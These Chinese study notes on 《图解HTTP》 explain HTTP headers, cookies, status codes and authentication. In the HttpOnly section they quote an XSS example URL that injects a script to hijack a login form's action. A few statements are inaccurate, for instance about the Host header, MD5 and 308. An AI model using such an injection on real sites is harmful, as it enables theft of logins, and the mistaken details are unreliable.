gzip:由文件压缩程序 gzip(GNU zip)生成的编码格式 (RFC1952),采用 Lempel-Ziv 算法(LZ77)及 32 位循环冗余 校验(Cyclic Redundancy Check,通称 CRC)。

compress:由 UNIX 文件压缩程序 compress 生成的编码格式,采用 Lempel-Ziv-Welch 算法(LZW)。

deflate:组合使用 zlib 格式(RFC1950)及由 deflate 压缩算法(RFC1951)生成的编码格式。

identity:不执行压缩或不会变化的默认编码格式。

注意也可以使用q=?表示权重值,含义和Accept的效果一致,最后注意使用*号作为通配符。

7.3.4 Accept-Language(Accept-Language: zh-cn,zh;q=0.7,en-us,en;q=0.3)

主要作用是告知服务器用户代理支持的自然语言集以及优先级顺序,支持一次性指定多级语言级。

同样也可以使用q=?表示权重值,按照支持语言排序返回最终支持的语言集即为结果。

7.3.5 Authorization(Authorization: Basic dWVub3NlbjpwYXNzd29yZA==)

和名字一样主要作用是告知服务器的用户认证信息,这个请求首部常常用于接口对接和开发,通常对于没有权限的用户会返回401的返回码,告知没有权限访问服务器。

7.3.6 Expect(Expect: 100-continue)

客户端告知服务器某种期望行为使用,但是如果服务器无法理解客户端回应的时候会返回417摆烂。客户端利用这个字段表明自己的期望。但是HTTP1.1实际上只指明了Expect: 100-continue,表示状态码响应为100的客户端需要指定这个字段。

417 表示期望失败

HTTP/1.1 协议里设计 100 (Continue) HTTP 状态码的的目的是,在客户端发送 Request Message 之前,HTTP/1.1 协议允许客户端先判定服务器是否愿意接受客户端发来的消息主体(基于 Request Headers)。

主要针对的情况是如果客户端要给服务器传递一个的数据包,但是如果服务器无法处理或者拒绝处理,这个字段类似提前做好通知。

这个字段的含义其实是让HTTP1.X 加入了“状态”, 不过这种状态严格意义上不能算作标准,所以HTTP1.X依然是无状态的。

7.3.7 From

表示用户代理的邮件地址。注意有时候电子邮件地址因为代理的关系会被记录在 User-Agent 首部字段。

7.3.8 Host(Host: www.hackr.jp

Host 首部字段在 HTTP/1.1 规范内是唯一一个必须被包含在请求内的首部字段。

表示请求方所处的IP地址和端口号信息。

为什么必须要有Host首部?这和单台服务器分配多个域名的虚拟主机的工作机制有很密切的关联。

7.3.9 If-Match

If-Match
If-Match

这样带If前缀的请求首部字段,都是条件请求,服务器接收到附带条件之后需要判定为真才能执行请求。

IF-Match
IF-Match

如上图所示只有if-matchEtag值进行匹配的时候,服务器才会接受请求,如果不符合则返回412的响应状态码。另外可以使用星号忽略掉Etag的值,只要有资源就接受。

7.3.10 If-Modified-Since(If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT)

如果资源晚于这个字段指定的时间,则希望服务器可以处理资源请求,反之如果资源时间没有过变更则需要返回304的响应。

If-Modified-Since 用于确认代理或客户端拥有的本地资源的有效性

7.3.11 If-None-Match

If-Match刚好相反,只有在Etag值和If-None-Match的值不一样的时候才处理请求,这个方法的作用是在GET和HEAD请求中获取实时信息,类似首部字段 If-Modified-Since

7.3.12 Proxy-Authorization(Proxy-Authorization: Basic dGlwOjkpNLAGfFY5)

通过代理服务器返回过来的质询请求包含了客户端的认证,与客户端以及服务器之间的HTTP认证是类似的。

7.3.13 Range(Range: bytes=5001-10000)

首部Range可以告知服务器资源指定范围,上面的字节包含5001到10000字节的资源内容。

如果可以处理相关请求,则返回 206 Partial Content 的响应,如果不能则正常的返回 200。

206 Partial Content:服务器仅发送资源的一部分。

7.3.14 Referer(Referer: http://www.hackr.jp/index.htm

首部字段 Referer 会告知服务器请求的原始资源的 URI。

注意原始资源的URL可能包含ID和密码等一些敏感信息,如果写入到Reffer传给其他服务器有可能泄密。

Referer 的正确的拼写应该是 Referrer,原因大概是老美当初设计的时候觉得单词更加难读吧。

7.3.15 TE(TE: gzip, deflate;q=0.5)

表示服务器客户端能够处理响应的编码方式以及优先级,和Accept-Encoding字段类似,但是主要用于传输编码。还可以指定TE: trailers 进行分块传输编码。

7.3.16 User-Agent(User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;)

User-Agent 用于传达浏览器的种类,首部字段会把创建请求浏览器和用户代理信息传给服务器处理。

7.4 响应首部字段

​ 响应首部字段指的是从服务器端向客户端返回响应报文时使用的首部。

响应首部字段
响应首部字段

7.4.1 Accept-Ranges(Accept-Ranges: bytes)

当不能处理范围请求时,需要指定Accept-Ranges: none

主要告知客户端服务器能处理的请求范围,比如指定为Byte处理字节。

7.4.2 Age(Age: 600)

表示源服务器多久之前创建了响应,字段值为秒。如果创建响应式缓存服务器,则此时间为Age缓存之后响应再次发起认证到认证完成的时间。而代理服务器则需要加上首部字段 Age

7.4.3 ETag(ETag: "82e22293907ce725faf67773957acd12")

能告知客户端的负载标志,以一种可以将资源作为字符串形式的唯一标识方式。服务器会给给每个资源分配Etag,另外需要注意资源更新需要和Etag一样保持更新。

所以Etag被用来区分URI相同但是语言不同的访问区分不同的访问资源,另外Etag存在强弱之分,强Etag会在资源改动的时候立刻刷新,而弱Etag则在资源改变之后在资源头部加入W/的标识标识资源变更。

7.4.4 Location(Location: http://www.usagid...)

用于表示响应接收方引导到某个和请求URL位置不同的资源上面。同样会配合3xx Redirction 重定向返回,几乎所有的浏览器收到这个字段会尝试完成资源重定向的行为。

7.4.5 Proxy-Authenticate(Proxy-Authenticate: Basic realm="Usagidesign Auth")

首部字段Proxy-Authenticate 会通过代理服务器要求的认证信息发给客户端,注意和服务器以及客户端之间的HTTP访问认证不同,这是代理服务器和客户端之间的认证。

7.4.6 Retry-After(Retry-After: 120)

此字段表示多久之后可以进行请求重试,配合状态码503使用,或者配合3XX Redirect 一起使用。字段值可以是数字也可以是具体的日期时间,也可以是创建响应之后的秒数。

7.4.7 Server(Server: Apache/2.2.17 (Unix))

告知客户端当前服务器的应用程序信息,可能包含软件版本号信息等。

7.4.8 Vary(Vary: Accept-Language)

表示指定资源请求的时候如果使用Accept-language字段的内容相同则直接从缓存返回响应,否则需要从源服务器仅限返回。

所以这个字段适用于控制缓存,源服务器会给代理服务器传递本地缓存使用方法和调用命令。

如果想要获取缓存则需要和包含Vary字段内容指定的请求才能获取,所以哪怕本次请求和上一次完全相同,请求只要Vary不一致,还是需要从源服务器获取。

7.4.9 WWW-Authenticate(WWW-Authenticate: Basic realm="Usagidesign Auth")

主要用于HTTP 访问认证,告知客户端适用于访问请求指定资源的认证方式,如果返回401响应码,则此字段会一并进行返回。注意案例这里的Basic realm="Usagidesign Auth"用于指明资源受到的保护策略。

401 未授权:客户端访问请求的资源需要授权。响应内容中需要包含www-Authnticate 头信息和询问信息,如果已经存在证书访问还是401说明证书已经不被接受,如果401和前一个身份验证请求相同,并且浏览器进行了至少一次重试,则浏览器应该展示响应包含的实体信息(也就是诊断信息)。

7.5 负载首部字段

因为HTTP2.0新协议的缘故,这里更想要称之为负载首部,实体首部的概念已经被废弃。负载首部表明了实体内容的请求头部信息,可以认为是快递上面快递单的货物信息。

负载首部字段
负载首部字段

7.5.1 Allow(Allow: GET, HEAD)

​ 通知客户端指定资源所有的HTTP方法。如果不支持会返回405响应。

405 Method Not Allowed:服务器已接收并识别请求,但拒绝了特定的请求方法。该响应必须返回一个Allow 头信息用以表示出当前资源能够接受的请求方法的列表。 对于一些修改服务器资源数据的请求方法比如PUT和DELETE通常不被允许。

7.5.2 Content-Encoding(Content-Encoding: gzip)

表明服务器使用的负载的主体部分的内容编码方式,并且在不丢失内容的前提下进行压缩。

主要支持的编码方式如下:

  • gzip
  • compress
  • deflate
  • identity

7.5.3 Content-Language(Content-Language: zh-CN)

告知客户端服务器使用的语言主体。

7.5.4 Content-Length(Content-Length: 15000)

告知实体主体部分大小(单位字节),但是一旦使用内容编码方式传输则不能使用此字段。

可参考 https://tools.ietf.org/html/rfc7231 的 4.4了解编码格式的内容长度计算。

7.5.5 Content-Location(Content-Location: http://www.hackr.jp/index-ja.html

给出与报文负载部分相对应的 URI,这个字段表示的是报文负载返回资源对应URI。

比如出现在Accept-Language字段实际的URI和返回的URI可能会不一样,则需要在此字段中标记。

7.5.6 Content-MD5(Content-MD5: OGFkZDUwNGVhNGY3N2MxMDIwZmQ4NTBmY2IyTY==)

客户端对于接受的报文负载内容进行MD5加密,目的是保证报文传输的时候保持完整性。

但是需要注意对于报文负载MD5加密之后还需要进行Base64加密,这是因为HTTP首部不能记录二进制的内容,当报文被接受之后同样使用MD5算法解密,并且对于负载内容校验完整 。

但是需要注意的是这个字段在校验完整性的同时是无法校验MD5加密是否被篡改的,所以安全性保证不佳。

7.5.7 Content-Range(Content-Range: bytes 5001-10000/10000)

告知客户端作为响应返回的负载哪个部分符合范围请求,告知哪一部分符合请求,字段值的单位为字节,表示当前发送部分以及整个实体大小。

7.5.8 Content-Type(Content-Type: text/html; charset=UTF-8)

说明了负载主体内对象的媒体类型,和首部字段 Accept一样,字段值用 type/subtype 形式赋值。

参数 charset 使用 iso-8859-1euc-jp 等字符集进行赋值。

7.5.9 Expires

首部字段 Expires 会将资源失效的日期告知客户端。如果不希望资源被缓存,则在首部字段里面和首部字段Date相同。

需要注意在Cache-Control指定max-age的指令时候,比起首部字段Expires,会优先处理max-age处理

7.5.10 Last-Modified(Last-Modified: Wed, 23 May 2012 09:59:55 GMT)

Last-Modified 指明资源最终修改的时间, 实际通过Request-URI 指定资源被修改的时间。实际案例是在使用CGI进行动态数据处理的时候有可能改变这个时间。

7.6 Cookie服务的首部字段

Cookie虽然并不是HTTP1.1的规范,但是由于在WEB领域应用广泛。Cookie的基本作用是保存用户的访问信息以及状态管理,同时把一些数据写入到客户端可以在下一次访问的时候简化用户操作同时可以减少服务端的一些压力。

7.6.1 Cookie(Cookie: status=enable)

这个首部字段会告知服务器想要获得HTTP状态支持管理,这时候请求的时候会包含多个Cookie同时可以按照Cookie发送。

对于正规发布的Cookie而言,由于可以校验有效期、发送方的域名和路径、协议信息等,所以不会受到外来攻击比较安全。

这里顺带说说Cookie的历史,Cookie最初是由于网景公司开发并且制定标准的,但是在后续发展中出现了下面的协议规格:

  • 网景标准(实际标准)

    1994年前后发布,目前普及的标准基本为这个时候的范本,网景的标准是由一个24岁的大神写的5页纸决定的,目前无法找到任何有关的规范链接,可以参考RFC6265看到一些最初的端倪。

  • RFC2109(搞事小弟1号)

    比较意外这是W3C 发布的一项标准,本意是想要和网景制定的标准兼容(实则想要取代),但是因为标准过于严苛,同时很多服务实现方错误的实现这个标准,所以后来依然改回了网景的标准。

  • RFC2965(搞事小弟2号)

    RFC2965 定义了 Cookie2,并试图解决 RFC2109 关于 Cookie1的缺点。RFC2965 目标在取代 RFC2109。

    发送 RFC2965 Cookie 的服务器除了使用 Set-Cookie 标头外,还将使用 Set-Cookie2 标头。注意RFC2965 Cookie 对端口非常敏感。

    RFC2965 可在 http://www.w3.org/Protocols/rfc2965/rfc2965.txt,但是实际上属于W3C黑历史被删除,

    最后通过:RFC 2965 - HTTP State Management Mechanism (ietf.org) 可以阅读了解

    然而不幸的是W3C还是没成功,因为基本没用多少服务器投入使用。

  • RFC6265:W3C最后放弃了争夺标准,RFC6265是按照网景的标准重新定义标准的产物,最终为业界事实标准。(继承大哥,统合一切)

    但是结果依然是没有采用RFC任何一个协议,网景公司的标准。

    从结果来看我们可以认为RFC6265是一个先实现后补写设计文档的一种标准,RFC6265虽然并不是实际采用的标准,但是却是白皮书公开认可的标准规范,也就是从原本大家口头协商变成了白纸黑字的标准的区别。

    RFC 6265 - HTTP State Management Mechanism (ietf.org)

    吐槽:所以符合市场的标准才能被大众接受,哪怕是W3C这样庞大的组织也无法撼动一个被认可的标准。

最后特别感谢一下IETF,可以说是互联网的图书馆,也可以说是互联网发展的基石。另外RFC一些被W3C掩盖的黑历史也被找到了,哈哈。

IETF是由网民自发组织,自我管理的,任何人都可以参加的,完全民主平等的,无投票机制的,充分体现了自由、开放、合作、共享的精神)里成立了特别工作小组。

Cookie的首部字段样式如下:

Cookie的首部字段样式
Cookie的首部字段样式

7.6.2 Set-Cookie

基本的格式如下,在开始使用Cookie之前的一些准备操作:

Set-Cookie: status=enable; expires=Tue, 05 Jul 2011 07:26:31 

基本的字段属性如下:

Set-Cookie
Set-Cookie

expires 属性:发送Cookie的有效期,默认为会话为Seesion级别,也就是一次浏览器访问。另外需要注意Cookie一旦创建服务端就没办法随便删除,只能覆盖的方式改写客户端的Cookie信息。

path属性:限制指定Cookie的发送范围目录,但是实际上有办法绕过这个限制,所以这个属性不是一个安全属性。

domain属性:通过domain校验结尾匹配,实际上不指定这个属性更加安全,因为这个属性类似白名单允许多个domain访问。

secure 属性(Set-Cookie: name=value; secure):限制仅在HTTPS连接才发送Cookie,是一种比较安全的属性,意味着当同样的域名在使用HTTPS的情况下会发送Cookie,但是转为HTTP则不会覆盖客户端的Cookie。另一方面不指定这个属性意味着不会发生回收行为。

7.6.3 HttpOnly 属性

介绍:属于Cookie本身的扩展功能,作用是防止JS脚本窃取Cookie信息,也就是防止XSS攻击。

声明方式:

Set-Cookie: name=value; HttpOnly

通过这样的声明之后,JavaScriptdocument.cookie 就无法读取附加 HttpOnly Cookie 的内容了。

实际上HttpOnly 这个扩展本意并不是为了防止XSS攻击发明的,但是后来作为缓解XSS攻击的一项重要手段被广泛采用。

XSS攻击类似下面的脚本:

http://example.jp/login?ID="> <script>var+f=document.getElementById("login");+f.action="h </script><span+s=" 对请求时对应的HTML源代码(摘录)

7.6.4 Cookie(Cookie: status=enable)

首部字段 Cookie 会告知服务器,当客户端想获得 HTTP 状态管理支持时,就会在请求中包含从服务器接收到的 Cookie。Cookie可以发送多个。

7.7 其他首部字段

其他首部字段也是HTTP对于开放扩展的支持,这些字段并不符合WEB的标准,需要交由实现方决定,但是使用频率并不低。

7.7.1 X-Frame-Options

此字段为响应首部的内容,主要作用是控制Frame标签显示内容,主要为了防止点击劫持的攻击方式。

可选内容有下面两项

  • DENY:拒绝

  • SAMEORIGIN:同源页面匹配许可。

主流浏览器基本已经支持这个字段,下面为Apach的一个参考:

<IfModule mod_headers.c>
Header append X-FRAME-OPTIONS "SAMEORIGIN"
</IfModule>

7.7.2 X-XSS-Protection(X-XSS-Protection: 1)

首部字段 X-XSS-Protection 属于 HTTP 响应首部,主要作用是用于控制浏览器 XSS 防护机制的开关。

语法:

X-XSS-Protection: 0
X-XSS-Protection: 1
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=<reporting-uri>

标识解释:

  • 0:禁止 XSS 过滤。
  • 1:启用 XSS 过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)。
  • 1;mode=block,启用 XSS 过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。
  • 1; report=<reporting-URI> (Chromium only),启用 XSS 过滤。 如果检测到跨站脚本攻击,浏览器将清除页面并使用 CSP report-uri (en-US)指令的功能发送违规报告。

7.7.2 DNT

DNT 属于 HTTP 请求首部,是 Do Not Track 的简 称,主要用于防止广告抓取个人信息。

首部字段 DNT 可指定的字段值如下。

  • 0 :同意被追踪
  • 1 :拒绝被追踪

这里介绍一个好用的谷歌插件“Ublock origin”,图标类似一个小红色盾牌。

最大特点可以利用html元素直接抹掉页面的广告信息过滤元素,非常好用。

7.7.3 P3P

P3P(The Platform for Privacy Preferences,在线隐私偏好平台)技术,通过这个首部可以把隐私信息变为仅应用程序识别的方式处理。

创建P3P的步骤如下:

步骤 1:创建 P3P 隐私。

步骤 2:创建 P3P 隐私对照文件后,保存命名在 /w3c/p3p.xml。

步骤 3:从 P3P 隐私中新建 Compact policies 后,输出到 HTTP 响应中。

关于P3P可以继续阅读下面的内容:

The Platform for Privacy Preferences 1.0(P3P1.0)Specification http://www.w3.org/TR/P3P/

X-前缀废弃:通过这个前缀来排查掉非标准参数,并且依次作为非标准参数的扩展,但是实际使用发现这样不仅导致命名混乱,还可能影响正常的通信,所以在后续的“RFC 6648 - Deprecating the "X-" Prefix and Similar Constructs in Application Protocols”废弃此用法。

7-2. HTTP协作服务器

7.1 单台虚拟机多域名

HTTP1.1支持服务器搭建多个站点,提供WEB托管服务, 而针对域名和IP的映射以及查找工作涉及到DNS,域名需要通过DNS解析之后才能进行访问,当请求发送到服务器的时候使用的已经是IP的方式了。

7.2 通信转发程序

通信转发存在几个专业术语:代理、网关、隧道,下面一一区分他们的概念。

代理:代理扮演了服务端和客户端的“中间商”,代理服务器的基本行为就是接收客户端发送的请求后转发给其他服务器。代理的作用通常是加快目标站点的访问加速或者作为跳板使用。

网关:专门负责转发其他服务器的通信数据的服务器,对于自己的位置类似传话筒,负责把一个服务器的“话”传给另一个服务器,所以发送请求的服务器本身也会被当作被转发的服务器。

隧道:保证距离很远的客户端和服务器中转的应用程序。

7.2.1 代理

代理主要的变动信息在Via 首部信息,每次代理转发都需要在Via首部加入转发信息,具体添加信息如下:

对于代理按照是否修改报文和是否缓存数据,分为透明代理缓存代理

  • 透明代理:透明代理指的是不对请求报文做任何加工的代理方式。
  • 缓存代理:缓存代理通常存在于缓存服务器,代理转发响应之前先把数据缓存到缓存服务器,然后再进行返回到客户端。

7.2.2 缓存服务器

缓存服务器的作用是减轻服务器的负担,利用缓存可以避免同样的资源反复从源服务器进行返回,而可以直接从缓存服务器获取资源。这部分内容在《网络是怎么样连接的》这本书中有详细介绍。

7.2.3 隧道

隧道可按要求建立起一条与其他服务器的通信线路,届时使用 SSL 等 加密手段进行通信。

HTTP 之前出现的协议

  • FTP:比 TCP/IP 协议族的出现还要早,虽然被HTTP超越,但是目前还是还是广泛用于文件上传。
  • NNTP(Network News Transfer Protocol):用于 NetNews 电子会议室内传送消息的协议。
  • Archie:搜索 anonymous FTP 公开的文件信息的协议。
  • WAIS(Wide Area Information Servers):通过关键词检索多个数据库使用的协议。
  • Gopher:查找与互联网连接的计算机内信息的协议。

#tjhttp 四、《图解HTTP》- 状态码

状态码章节内容过于贫乏,参考资料找了一个澳大利亚的博客,里面收录了HTTP的状态码介绍,为什么选这个作参考?一个是网站挺漂亮,另一个是做了一张长图容纳了常见的响应码,存到手机可以时不时看看,并且博客有做国际化,点进去自动就是中文(但是团队确实是外国人),挺有意思的。

另外需要注意汇总图是英文的,为了不丢失HTTP状态码的本意,建议先翻一翻RFC协议原文是如何定义的,通过网络查找国内几个点击率很高的比如菜鸟教程对比理解,个人并不建议完全看中文了解状态码含义,英文原文更加贴合定义本义同时里面还有一些小细节。

《图解HTTP》所介绍的HTTP1.1版本均为 RFC 2616的描述,很多内容其实已经过时或者直接废弃了!切记!

互联网的一手信息基本都是英文的,编程学习的深入总有一天要直面纯英文。

知识点

  1. 状态码定义的IETF协议规范,使用 RFC 7231 作为协议参考。
  2. 常见状态码定义,以及在 RFC 7231 中的协议定义参考
  3. 如何选择合适的状态码,这里仅介绍了 GET/POST/HEAD 三个最常用的状态码定义参考。

注意事项

查看具体内容之前,我们需要了解最早的正式HTTP1.1协议版本公认为 RFC 2616,但是后续出现了更多的修订版,补充了更多有关响应码和完善细节,比如现在的HTTP1.1 早就是 RFC 723X 开头了。

另外为了方便读者了解协议原文,每一个大标题做了超链接,可以直接点击标题访问当前最新的协议网站。(部分博客平台markdown解析可能没法点击,在每一个标题开头也给了链接)

从协议发布节点来看,2014年的RFC723X开头的协议可以认为是HTTP1.1的最后的更新版本。

本文介绍的状态码在 RFC2616 很多都是没定义的,RFC2616 很老了早就已经废弃了!

具体的内容见:

  • RFC2068:https://tools.ietf.org/html/rfc2068:过时的

  • RFC2616: https://tools.ietf.org/html/rfc2616:过时的

  • RFC7230: https://tools.ietf.org/html/rfc7230

  • RFC7231:https://tools.ietf.org/html/rfc7231

  • RFC7232: https://tools.ietf.org/html/rfc7232

  • RFC7233: https://tools.ietf.org/html/rfc7233

  • RFC7234: https://tools.ietf.org/html/rfc7234

  • RFC7235: https://tools.ietf.org/html/rfc7235

  • RFC7230:语法和路由
    语法:描述了一个 HTTP 请求或者响应长什么样。即第一行写什么怎么写、第二行写什么怎么写...
    路由:资源标识(URI)如何确定?通过什么方式获取到想要的内容?是直接从本地缓存获取?还是通过代理(Proxy)获取?还是直接请求?

  • RFC7231:语义和内容(最需要关注的内容,RESTful-like)
    各种请求方法(GET、POST、DELETE 等等)和请求头(Expect、Accept-Language、User-Agent 等等)表达了什么意图?
    响应体的状态(200 OK、201 Created、403 Forbidden 等等)和响应头(Location、Retry-After、Allow 等等)表达什么意思?

  • RFC7232:条件请求
    响应体告知客户端某些数据条件(Last-Modified、ETag 等等),客户端可以在下次请求的时候带上这些信息(If-Modified-Since、If-Match 等等)。在符合条件或者不符合条件的情况下,服务端应该如何处理;

  • RFC7233:范围请求
    由于各种因素而只得到部分响应的时候,发起范围请求以获取剩下的内容,避免从头请求而浪费资源;

  • RFC7234:缓存
    通过减少请求避免网络资源的浪费;

  • RFC7235:认证
    用户认证。Basic Auth、Token 等等。

4.1 状态码定义

  • 1XX:1XX开头多为信息提示信息,几乎看不到使用场景,忽略即可。此外1XX的状态码并不会影响到SEO 优化。
  • 2XX: HTTP状态代码是成功请求。 比如HTTP 200 OK成功状态响应代码指示请求已成功。
  • 3XX:HTTP状态代码指示重定向。 最常见的 3XX HTTP状态代码包括“ 301永久移动”,“找到302”和“ 307临时重定向” HTTP状态代码。
  • 4XX 状态代码是客户端错误。 最常见的4xx状态代码是“ 404未找到”和“ 410消失” HTTP状态代码。
  • 5XX HTTP状态代码是服务器错误。 最常见的5xx HTTP状态代码是“ 503服务不可用”状态代码。

常见状态码定义

1XX请求几乎用不到,不需要了解,这里跳过。

4.1.1 2XX:请求成功

HTTP1.1 协议原文:

https://datatracker.ietf.org/doc/html/rfc7231#section-6.3

  • 200 OK:请求成功。
  • 201 Created:服务器确认创建的资源。
  • 202 Accepted:客户端的请求已经收到请求,但服务器仍在处理它。
  • 203 Non-Authoritative Information:服务器发送给客户端的响应与服务器发送时的响应不同。
  • 204 No Content:服务器处理了请求但未提供任何内容。
  • 205 Reset Content:客户端应该刷新文档样本。
  • 206 Partial Content:服务器仅发送资源的一部分。
  • 207 Multi-Status:默认情况下,消息正文是 XML 消息,可以包含多个单独的响应代码。

案例:在此示例中,尝试删除 http://www.example.com/container/resource3 失败,因为资源被锁定了。

  >>Response

     HTTP/1.1 207 Multi-Status
     Content-Type: application/xml; charset="utf-8"
     Content-Length: xxxx

     <?xml version="1.0" encoding="utf-8" ?>
     <d:multistatus xmlns:d="DAV:">
       <d:response>
         <d:href>http://www.example.com/container/resource3</d:href>
         <d:status>HTTP/1.1 423 Locked</d:status>
         <d:error><d:lock-token-submitted/></d:error>
       </d:response>
     </d:multistatus>
  • 208 已报告:a的成员 WebDAV的 绑定已经在(多状态 )响应的前一部分中被枚举,并且不再被包括在内。

WebDAV:是一个数字信息管理系统。 它是一个管理和共享在线文件的平台,非常适合在线应用程序和社交网站。 WebDAV 允许存储、管理和与其他 Web 用户共享更新和文件。 还可以在计算机和设备之间共享文件。

4.1.2 3XX:重定向

HTTP1.1 协议原文:

https://datatracker.ietf.org/doc/html/rfc7231#section-6.4

如果用户访问到3XX开头的代码,则会被浏览器重定向到不同的URL。注意这种返回码对于SEO优化影响比较大。

注意:当且仅当第二个请求中使用的方法是GET 或 HEAD。客户端应该检测无限重定向循环,因为这样的循环会为每个重定向生成网络流量。

在规范当中建议重定向次数最多不超过5次。

下面是一些常见的3XX状态码。

  • 300 多项选择:客户端发出的请求有多种可能的响应。
  • 301 永久移动:服务器告诉客户端他们寻找的资源已被永久移动到另一个 URL。 所有用户和机器人都将被重定向到新的 URL。 这是 SEO 的一个非常重要的状态代码。
  • 302 临时转移:网站或页面资源已暂时移至不同的 URL。 这是另一个与 SEO 相关的状态代码。另外收到302和301的时候不允许客户端改变重定向请求方法。另外服务端通常会把302请求当做是303进行响应,对于Location字段发起GET请求。(SEO优化) 只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。
  • 303 查看其他:此代码告诉客户端服务器不是将它们重定向到请求的资源,而是重定向到另一个页面。
  • 304 Not Modified:请求的资源自上次传输后没有改变。如果使用强缓存校验器,则响应不能包含实体标头,如果304响应没用指示条件情况下则进行重复请求,如果304响应包含缓存条目,则同样需要按照缓存条目更新到本地。
  • 305 使用代理:客户端只能通过响应中提供的代理访问请求的资源。305请求必须生成自原始服务器。(已废弃)
  • 307 临时重定向:服务器告诉客户端他们寻找的资源已经被临时重定向到另一个 URL。 它与 SEO 性能有关。除非请求方法是 HEAD,否则响应应该包含一个带有超链接的简短超文本注释。
  • 308 永久重定向:服务器告诉客户端他们寻找的资源已经被临时重定向到另一个 URL。

4.1.3 4XX:客户端错误

HTTP1.1 协议原文:

https://datatracker.ietf.org/doc/html/rfc7231#section-6.5.1

  • 400 错误请求:客户端发送的请求包含不完整的数据、构造不良的数据或无效的数据。
  • 401 未授权:客户端访问请求的资源需要授权。响应内容中需要包含www-Authnticate 头信息和询问信息,如果已经存在证书访问还是401说明证书已经不被接受,如果401和前一个身份验证请求相同,并且浏览器进行了至少一次重试,则浏览器应该展示响应包含的实体信息(也就是诊断信息)。
  • 403 Forbidden:客户端尝试访问的资源被禁止。和401的区别是不提供任何身份认证的帮助,也不允许重复提交,服务端有义务声明不能访问的理由。
  • 404 未找到:服务器可访问,但客户端查找的特定页面不可访问或者资源不存在。服务可以利用这个状态码暴露自己服务存在的同时不想暴露“资源存在”。
  • 405 Method Not Allowed:服务器已接收并识别请求,但拒绝了特定的请求方法。该响应必须返回一个Allow 头信息用以表示出当前资源能够接受的请求方法的列表。 对于一些修改服务器资源数据的请求方法比如PUT和DELETE通常不被允许。
  • 406 不可接受:网站或 Web 应用程序不支持具有特定协议的客户端请求。请求的资源的内容特性无法满足请求头中的条件,因而无法生成响应实体。
  • 407 需要代理身份验证:此状态代码类似于 401 未授权。 唯一的区别是授权需要由代理完成。
  • 408 请求超时:客户端向网站服务器发送的请求已过期。客户端可以随时再次提交这一请求而无需进行任何更改。
  • 409 冲突:发送的请求与服务器的内部操作发生冲突。注意只有在客户端具备自身处理能力,比如重新提交请求的前提下才能返回此状态码,响应信息中也需要提供冲突的源头内容。 此外 冲突通常会发生在PUT请求当中,在使用版本检查的情况下,如果某次请求附带的版本信息和之前的内容冲突,就会返回此响应码。
  • 410 Gone:客户端想要访问的资源已被永久删除。主要用于服务端想要删除某个资源并且告知用户此资源不再接受访问的一种提示。注意这个状态码很像404,最大的区别是资源是否永久不存在

不常见的HTTP 4XX状态码

用的比较少,遇到了再来查询即可。

  • 402 需要付款
  • 412 失败预处理
  • 415 不支持的媒体类型
  • 416 请求的范围不满足。请求的 Range 标头字段中没有一个范围与所选资源的当前范围重叠,或者由于无效范围或对小范围或重叠范围的请求过多而拒绝了请求的范围集。
  • 417 期望失败
  • 422 不可处理的实体
  • 423 锁定
  • 424 失败的依赖
  • 426 需要升级
  • 429 请求过多
  • 431 请求头字段太大
  • 451 因法律原因不可用

4.1.4 5XX:服务端错误

HTTP1.1 协议原文:

https://datatracker.ietf.org/doc/html/rfc7231#section-6.6.1

5XX开头的状态码通常为服务器错误,表明客户端发送的请求没有问题,但是服务器不能正常处理请求。

  • 500 内部服务器错误:服务器在处理客户端请求时遇到无法处理的情况。注意这是一个笼统的错误,并不知道错误的具体原因。
  • 501 未实现:服务器不知道或无法解析客户端发送的请求方法。
  • 502 错误网关:服务器充当网关或代理并从入站服务器收到无效消息。
  • 503 服务不可用: 服务器可能已关闭 并且无法处理客户的请求。 此 HTTP 状态代码是您在 Web 上可能遇到的最常见的服务器问题之一。
  • 511 需要网络身份验证:客户端需要在网络上进行身份验证才能访问资源。

其他不太常见的 5XX HTTP 状态代码包括:

  • 504 网关超时:服务器充当网关或者代理的时候,没有收到响应。和408的区别是408是服务端接受客户端超时,504是代理接收服务端超时。
  • 505 不支持HTTP版本,服务器不支持或拒绝支持 HTTP 协议,表示服务器无法处理或者不愿意处理。
  • 506  Variant Also Negotiates:服务器有一个内部配置错误,选择变体资源配置为主机参与透明内容协商,表明当前服务器不是适当的透明协商节点,无法处理。
  • 507 存储空间不足:当前服务器无法处理资源请求。可以认为是一种临时情况。
  • 508 检测到环路:服务器终止了操作,因为它在处理具有“深度:无穷大”的请求时遇到了无限循环。 此状态表示整个操作失败。
  • 510 未扩展:请求中未满足访问资源的策略。服务器应发回客户端发出扩展请求所需的所有信息。

4.2 选择合适的状态码定义

下面根据状态码介绍,了解如何为方法设置合适的状态码定义。实际上项目中接口更多使用一套自定义的规则去响应,而不是用HTTP自身定义的一些Code。

这部分内容同样只记录了常见请求的,其他请求使用概率通常比较小。

GET/HEAD/POST

最常见的状态定义:

  • 201 Created:服务器确认创建的资源。
  • 206 Partial Content:服务器仅发送资源的一部分。
  • 303 查看其他:此代码告诉客户端服务器不是将它们重定向到请求的资源,而是重定向到另一个页面。
  • 304 Not Modified:请求的资源自上次传输后没有改变。如果使用强缓存校验器,则响应不能包含实体标头,如果304响应没用指示条件情况下则进行重复请求,如果304响应包含缓存条目,则同样需要按照缓存条目更新到本地。
  • 416  请求的范围不满足。请求的 Range 标头字段中没有一个范围与所选资源的当前范围重叠,或者由于无效范围或对小范围或重叠范围的请求过多而拒绝了请求的范围集。 注意:由于服务器可以自由地忽略 Range,因此许多实现将简单地以 200 OK 响应中的整个选定表示形式进行响应。

案例:

HTTP/1.1 416 Range Not Satisfiable

Date: Fri, 20 Jan 2012 15:41:54 GMT

Content-Range: bytes */47022

#tjhttp 六、《图解HTTP》- 用户身份认证

知识点

  1. 身份认证的几种常见方式
    1. BASIC认证(基本认证)
    2. DIGEST认证(摘要认证)
    3. SSL客户端认证
    4. FormBase认证(表单认证)
  2. 重点介绍SSL认证细节,其他认证方式可以不看或者跳过。
  3. Keberos 认证和NTLM 认证,Keberos 认证是大数据身份认证的事实标准,大数据相关领域工作者有必要关注。

6.1 概览

常见的用户身份认证方式:

  1. 密码
  2. 动态令牌
  3. 数字证书
  4. 生物人证
  5. IC卡

